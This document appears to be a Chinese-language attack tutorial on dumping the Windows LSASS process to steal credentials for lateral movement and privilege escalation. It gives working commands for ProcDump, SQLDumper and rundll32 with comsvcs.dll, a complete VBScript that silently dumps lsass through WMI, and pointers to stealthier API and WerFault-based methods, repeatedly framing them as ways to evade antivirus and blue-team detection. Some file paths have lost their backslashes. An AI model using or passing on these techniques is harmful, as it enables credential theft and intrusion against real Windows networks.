进程的内存空间中存储的域,本地用户名和密码称为LSASS(本地安全机构子系统服务)。如果在目标上具有一定的权限,则可以授予用户访问LSASS的权限,并且可以提取其数据以进行横向移动和特权升级。
常见的是,LSASS内存转储文件通过网络发送给攻击者,以便以更隐秘的方式提取凭证。替代方法是在目标上运行Mimikatz,这可能导致其被本地防病毒软件阻止或检测到。
1.dump LSASS的已知方法
微软签名工具
在所有可用的方法中,使用Microsoft签名的二进制文件是一种隐蔽获取LSASS内存转储的便捷的方法,尤其是当目标上已经存在它们时。使用这些方法可以阻止蓝队检测,因为像ProcDump这样的东西很难添加到黑名单中。
1.0任务管理器
内置的任务管理器具有用于过程的转储机制:
打开任务管理器,找到lsass进程
右键》》创建转储文件
成功转储会返回一个文件路径
2.0ProcExp.exe
Sysinternals工具ProcExp.exe工具也可以用于进程转储:
这个工具可以在微软中下载
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
这里一共有两种转储方式
miniDump:
应用程序可以生成用户模式的小型转储文件,其中包含故障转储文件中包含的信息的有用子集。应用程序可以非常快速有效地创建小型转储文件。由于小型转储文件很小,因此可以轻松地将其通过Internet发送给该应用程序的技术支持。
full dump:
这里我们导出Full Dump
可以自定义转储文件位置
3.0ProcDump
Sysinternals工具ProcDump.exe可能是恶意软件最常使用的工具,因为它具有命令行功能,并且不专门用于转储LSASS进程,因此,它会将LSASS进程转储到磁盘。尽管必须使用“ .dmp”扩展名,但可以在参数中控制其余的转储文件名:
ProcDump是一个命令行实用程序,其主要目的是监视应用程序中的CPU尖峰并在尖峰期间生成崩溃转储,管理员或开发人员可以使用它来确定尖峰原因。ProcDump还包括挂起的窗口监视(使用Windows和Task Manager使用的相同的窗口挂起定义),未处理的异常监视,并且可以基于系统性能计数器的值生成转储。它也可以用作常规流程转储实用程序,您可以将其嵌入其他脚本中。
可以在微软中下载
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
语法
procdump.exe -ma lsass.exe [文件位置]
使用“ -r”开关将ProcDump创建lsass.exe的克隆并将其转储到磁盘
procdump.exe -ma -r lsass.exe [文件位置]
更多语法
代码语言:javascript复制Uninstall Usage:
cmd
Copy
procdump.exe -u
TABLE 1
Parameter Description
-a Avoid outage. Requires -r. If the trigger will cause the target to suspend for a prolonged time due to an exceeded concurrent dump limit, the trigger will be skipped.
-at Avoid outage at Timeout. Cancel the trigger's collection at N seconds.
-b Treat debug breakpoints as exceptions (otherwise ignore them).
-c CPU threshold at which to create a dump of the process.
-cl CPU threshold below which to create a dump of the process.
-d Invoke the minidump callback routine named MiniDumpCallbackRoutine of the specified DLL.
-e Write a dump when the process encounters an unhandled exception. Include the 1 to create dump on first chance exceptions.
-f Filter the first chance exceptions. Wildcards (*) are supported. To just display the names without dumping, use a blank ("") filter.
-fx Filter (exclude) on the content of exceptions and debug logging. Wildcards are supported.
-g Run as a native debugger in a managed process (no interop).
-h Write dump if process has a hung window (does not respond to window messages for at least 5 seconds).
-i Install ProcDump as the AeDebug postmortem debugger. Only -ma, -mp, -d and -r are supported as additional options.
-k Kill the process after cloning (-r), or at the end of dump collection
-l Display the debug logging of the process.
-m Memory commit threshold in MB at which to create a dump.
-ma Write a dump file with all process memory. The default dump format only includes thread and handle information.
-mc Write a custom dump file. Include memory defined by the specified MINIDUMP_TYPE mask (Hex).
-md Write a Callback dump file. Include memory defined by the MiniDumpWriteDump callback routine named MiniDumpCallbackRoutine of the specified DLL.
-mk Also write a Kernel dump file. Includes the kernel stacks of the threads in the process. OS doesn't support a kernel dump (-mk) when using a clone (-r). When using multiple dump sizes, a kernel dump is taken for each dump size.
-ml Trigger when memory commit drops below specified MB value.
-mm Write a mini dump file (default).
-mp Write a dump file with thread and handle information, and all read/write process memory. To minimize dump size, memory areas larger than 512MB are searched for, and if found, the largest area is excluded. A memory area is the collection of same sized memory allocation areas. The removal of this (cache) memory reduces Exchange and SQL Server dumps by over 90%.
-n Number of dumps to write before exiting.
-o Overwrite an existing dump file.
-p Trigger on the specified performance counter when the threshold is exceeded. Note: to specify a process counter when there are multiple instances of the process running, use the process ID with the following syntax: "Process(_)counter"
-pl Trigger when performance counter falls below the specified value.
-r Dump using a clone. Concurrent limit is optional (default 1, max 5).
CAUTION: a high concurrency value may impact system performance.
- Windows 7 : Uses Reflection. OS doesn't support -e.
- Windows 8.0 : Uses Reflection. OS doesn't support -e.
- Windows 8.1 : Uses PSS. All trigger types are supported.
-s Consecutive seconds before dump is written (default is 10).
-t Write a dump when the process terminates.
-u Treat CPU usage relative to a single core (used with -c).
As the only option, Uninstalls ProcDump as the postmortem debugger.
-w Wait for the specified process to launch if it's not running.
-wer Queue the (largest) dump to Windows Error Reporting.
-x Launch the specified image with optional arguments. If it is a Store Application or Package, ProcDump will start on the next activation (only).
-64 By default ProcDump will capture a 32-bit dump of a 32-bit process when running on 64-bit Windows. This option overrides to create a 64-bit dump. Only use for WOW64 subsystem debugging.
-? Use -? -e to see example command lines.
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
4.0SQLDumper
SQLDumper.exe包含在Microsoft SQL和Office中,并且能够生成完整的转储文件。
在微软文档中我们可以找到:
https://docs.microsoft.com/en-us/troubleshoot/sql/tools/use-sqldumper-generate-dump-file
文件路径
C:Program FilesMicrosoft SQL Server90SharedSQLDumper.exe
C:Program Files (x86)Microsoft OfficerootvfsProgramFilesX86Microsoft AnalysisAS OLEDB140SQLDumper.exe
语法:
通过PID转储过程并创建一个转储文件(创建一个名为SQLDmprXXXX.mdmp的转储文件)。
sqldumper.exe [lsass PID] 0 0x01100
所需特权:管理员 操作系统:Windows
使用powershell来查看一下lsass.exe的pid
然后使用sqldumper.exe
40标志将创建Mimikatz兼容的转储文件。
sqldumper.exe 540 0 0x01100:40
所需特权:管理员 操作系统:Windows
6.0 Comsvcs.dll
可以在每个Windows系统中找到“ comsvcs.dll”,并且具有可用于通过其PID转储进程的导出。
1.通过rundll32
语法
rundll32.exe comsvcs.dll MiniDump<输出路径> full
请注意,该进程需要具有调试特权
在dump指定进程内存文件时,需要开启SeDebugPrivilege权限
管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled,如下图
所以说,直接在cmd下执行rundll32的命令尝试dump指定进程内存文件时,由于无法开启SeDebugPrivilege权限,所以会失败
在cmd中我找不到打开SeDebugPrivilege的方法
所以我们可以所以powershell进行滥用,在管理员权限的powershell中默认打开SeDebugPrivilege
powershell.exe rundll32.exe comsvcs.dll MiniDump<输出路径> full
我们也可以使用vb来绕过SeDebugPrivilege dump
代码语言:javascript复制Option Explicit
Const SW_HIDE = 0
If (WScript.Arguments.Count <> 1) Then
WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
WScript.StdOut.WriteLine("Usage: procdump")
WScript.Quit
Else
Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
' get process id or name
pid = WScript.Arguments(0)
' connect with debug privilege
Set fso = CreateObject("Scripting.FileSystemObject")
Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
' if not a number
If(Not IsNumeric(pid)) Then
query = "Name"
Else
query = "ProcessId"
End If
' try find it
Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
query & " = '" & pid & "'")
If (list.Count = 0) Then
WScript.StdOut.WriteLine("Can't find active process : " & pid)
WScript.Quit()
End If
For Each proc in list
pid = proc.ProcessId
str = proc.Name
Exit For
Next
dmp = fso.GetBaseName(str) & ".bin"
' if dump file already exists, try to remove it
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Removing " & dmp)
fso.DeleteFile(dmp)
End If
WScript.StdOut.WriteLine("Attempting to dump memory from " & _
str & ":" & pid & " to " & dmp)
Set proc = svc.Get("Win32_Process")
Set startup = svc.Get("Win32_ProcessStartup")
Set cfg = startup.SpawnInstance_
cfg.ShowWindow = SW_HIDE
cmd = "rundll32 C:windowssystem32comsvcs.dll, MiniDump " & _
pid & " " & fso.GetAbsolutePathName(".") & "" & _
dmp & " full"
Call proc.Create (cmd, null, cfg, pid)
' sleep for a second
Wscript.Sleep(1000)
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Memory saved to " & dmp)
Else
WScript.StdOut.WriteLine("Something went wrong.")
End If
End If
保存为vb代码
csript [.vbs] lsass.exe
vbs脚本首先开启SeDebugPrivilege权限,接着执行rundll32的命令,测试成功
全内存转储
将整个RAM转储到磁盘是从LSASS获取凭证的另一种方法。这种方法用得不多,因为生成完整的转储会花费一些时间并占用大量磁盘空间。
实时内存转储
有一些签名的内核驱动程序可以遍历整个内存并将其转储到磁盘。例如,WinPmem由Google签名,并允许创建全内存转储。Physmem2profit将WinPmem与C2服务器一起使用,以允许通过WinPmem驱动程序读取LSASS内存,而无需将全部内存保存到磁盘上。
NTFS卷中复制
可以使用RawCopy之类的工具复制hiberfil.sys以提取凭据
https://diverto.github.io/2019/11/05/Extracting-Passwords-from-hiberfil-and-memdumps
https://github.com/jschicht/RawCopy
VMEM / VMSN文件
可以为虚拟机快照或挂起快照时从创建的内存文件中提取完整的内存转储。
https://diverto.github.io/2019/11/05/Extracting-Passwords-from-hiberfil-and-memdumps
使用API
MiniDumpWriteDump方法
在dbghelp.dll中,有一个名为MiniDumpWriteDump的函数,该函数是:
在内部,MiniDumpWriteDump使用未记录的NtReadVirtualMemory API读取其目标的进程内存。
MiniDumpWriteDump PssCaptureSnapshot
由于向LSASS打开特权句柄并将其传递给MiniDumpWriteDump可能会很麻烦,因此一种更隐秘的方法是使用PssCaptureSnapshot API创建LSASS的进程快照,该快照也由MSDN记录。实际上,这种过程转储方法记录在MSDN的自己的页面中。
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/proc_snap/export-a-process-snapshot-to-a-file
所有以前的内存转储类别中列出的每个工具都使用这两种方法之一(不包括完整内存转储方法)。
新的手法
可以使用WerFault.exe(处理进程崩溃的Windows错误报告进程)创建lsass.exe的内存转储。此技术的主要优点是它不会导致lsass.exe崩溃,并且由于WerFault.exe始终用于创建文件转储(而不仅仅是lsass.exe),因此此方法提供了未被检测到的附加优点。
https://github.com/deepinstinct/LsassSilentProcessExit
语法:
Usage:
LsassSilentProcessExit.exe
Where DumpMode can be:
0 - Call RtlSilentProcessExit on LSASS process handle
1 - Call CreateRemoteThread on RtlSilentProcessExit on LSASS